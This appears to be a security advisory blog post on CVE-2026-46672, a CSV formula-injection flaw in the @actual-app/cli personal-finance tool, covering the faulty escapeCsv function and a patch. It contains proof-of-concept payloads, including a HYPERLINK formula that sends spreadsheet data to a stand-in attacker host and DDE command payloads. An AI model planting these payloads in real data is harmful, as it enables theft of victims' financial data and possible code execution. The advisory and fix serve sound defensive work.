Listen to this Post
How CVE-2026-46672 Works
The `@actual-app/cli` package includes a hand-rolled CSV serializer in `packages/cli/src/output.ts` that is used whenever the global `–format csv` option is passed. The `escapeCsv` helper function at lines 98–103 only handles RFC 4180 delimiter, quote, and newline escaping — it does not neutralize the standard CSV formula-injection prefixes: =, +, -, @, \t, and \r.
Any CLI command that streams an object array containing user‑controlled strings — including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and `query` — will emit cells that auto‑evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets.
The vulnerable code path is triggered by the global `–format` option registered at packages/cli/src/index.ts:53–57, which applies to every subcommand. List/query subcommands invoke `printOutput(data, format)` (output.ts:105–107), which routes `format === ‘csv’` to `formatCsv` (output.ts:71–96). For each row, every column is processed through `formatCellValue` (output.ts:21–26), which coerces only numeric fields like amount, balance, and budgeted. All user‑controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv.
The `escapeCsv` function returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or `-2+3+cmd|’/c calc’!A0` therefore lands in the output as a leading‑character formula.
Exploitation requires that the attacker can persist a malicious string in any user‑controlled field of the budget. Realistic vectors include a co‑user/collaborator of a synced budget, a crafted OFX/QIF/CSV import file, or API write access. The victim then runs a command like `actual
There are no mitigations in the code path: no allowlist, no sanitizer, no `cast` option, and no warning. The CLI is shipped to end users via npm.
DailyCVE Form:
Platform: @actual-app/cli
Version: < 26.6.0
Vulnerability: CSV Formula Injection
Severity: Moderate
date: 2026-06-22
Prediction: Patch expected 2026-06-22
Analytics — What Undercode Say
The following commands and code snippets demonstrate the vulnerable data flow and the proof‑of‑concept:
Inject a malicious payee name via the CLI:
actual transactions add \
--account "$ACCOUNT_ID" \
--data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]'
Victim triggers the export:
actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv
Observed output (abridged):
id,date,amount,payee,notes,category,account,cleared,reconciled
abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false
Minimal payloads that bypass `escapeCsv` entirely (no ,, ", or `\n` → no quoting):
– `=1+1` → cell shows `2`
– `@SUM(1+1)` → cell shows `2`
– `+1+1` → cell shows `2`
– `-2+3` → cell shows `1`
Vulnerable code snippet (`packages/cli/src/output.ts:98–103`):
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;
}
Exploit
An attacker can plant a malicious string in any user‑controlled field of the budget (payee name, account name, category name, notes, tag names, rule descriptions, schedule names). When the victim runs any of the following commands with `–format csv` and opens the resulting file in a spreadsheet application, the formula executes:
– `actual transactions list –format csv`
– `actual accounts list –format csv`
– `actual payees list –format csv`
– `actual categories list –format csv`
– `actual tags list –format csv`
– `actual category-groups list –format csv`
– `actual rules list –format csv`
– `actual schedules list –format csv`
– `actual query “…” –format csv`
The formula can exfiltrate data via =HYPERLINK(...), =WEBSERVICE(...), =IMPORTXML(...), or =IMPORTDATA(...). For example, a payload like `=HYPERLINK(“http://attacker.evil/leak?d=”&B2,”Click”)` will, when clicked (or auto‑fetched in some configurations), send the contents of cell B2 (e.g., a transaction date) to the attacker’s server.
Legacy DDE‑style payloads (+1+cmd|'/c calc'!A0) can lead to arbitrary code execution on outdated Excel installations.
Protection
The recommended fix is to neutralize formula‑trigger prefixes before applying RFC 4180 quoting. In packages/cli/src/output.ts, add a check for leading formula characters and prefix them with a single quote ('), which is stripped by Excel/Calc on display but prevents formula evaluation:
const FORMULA_TRIGGERS = /^[=+-@\t\r]/;
function escapeCsv(value: string): string {
// Neutralize spreadsheet formula prefixes (CWE-1236).
if (FORMULA_TRIGGERS.test(value)) {
value = "'" + value;
}
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;
}
The same fix must be applied in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` by passing a `cast` option to `csv-stringify` that prepends `’` to any string starting with a formula trigger — the two sites are independent and both must be patched.
Users should upgrade to @actual-app/cli version 26.6.0 or later, which contains the fix.
Impact
- Data exfiltration in the victim’s spreadsheet context via
=HYPERLINK(...),=WEBSERVICE(...), `=IMPORTXML(…)` (Sheets), or `=IMPORTDATA(…)` (Sheets). Typically one click for HYPERLINK, fully automatic for WEBSERVICE/IMPORT on confirmation. The victim’s financial data (account names, balances, transactions in adjacent cells) is the natural exfil target. - Arbitrary formula execution in the victim’s spreadsheet context, including legacy DDE‑style payloads on outdated Excel installations, potentially leading to remote code execution.
- Trust‑boundary crossing: financial data the victim assumes is “exported” becomes attacker‑controlled active content. The CLI is the victim’s own trusted tool; users do not expect `actual transactions list –format csv` to produce a file that runs code.
The blast radius is bounded by the requirement that the attacker plant a string in a user‑controlled field and the victim opens the CSV in a spreadsheet — but both are realistic for a personal‑finance app whose primary export workflow is “open in Excel”.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

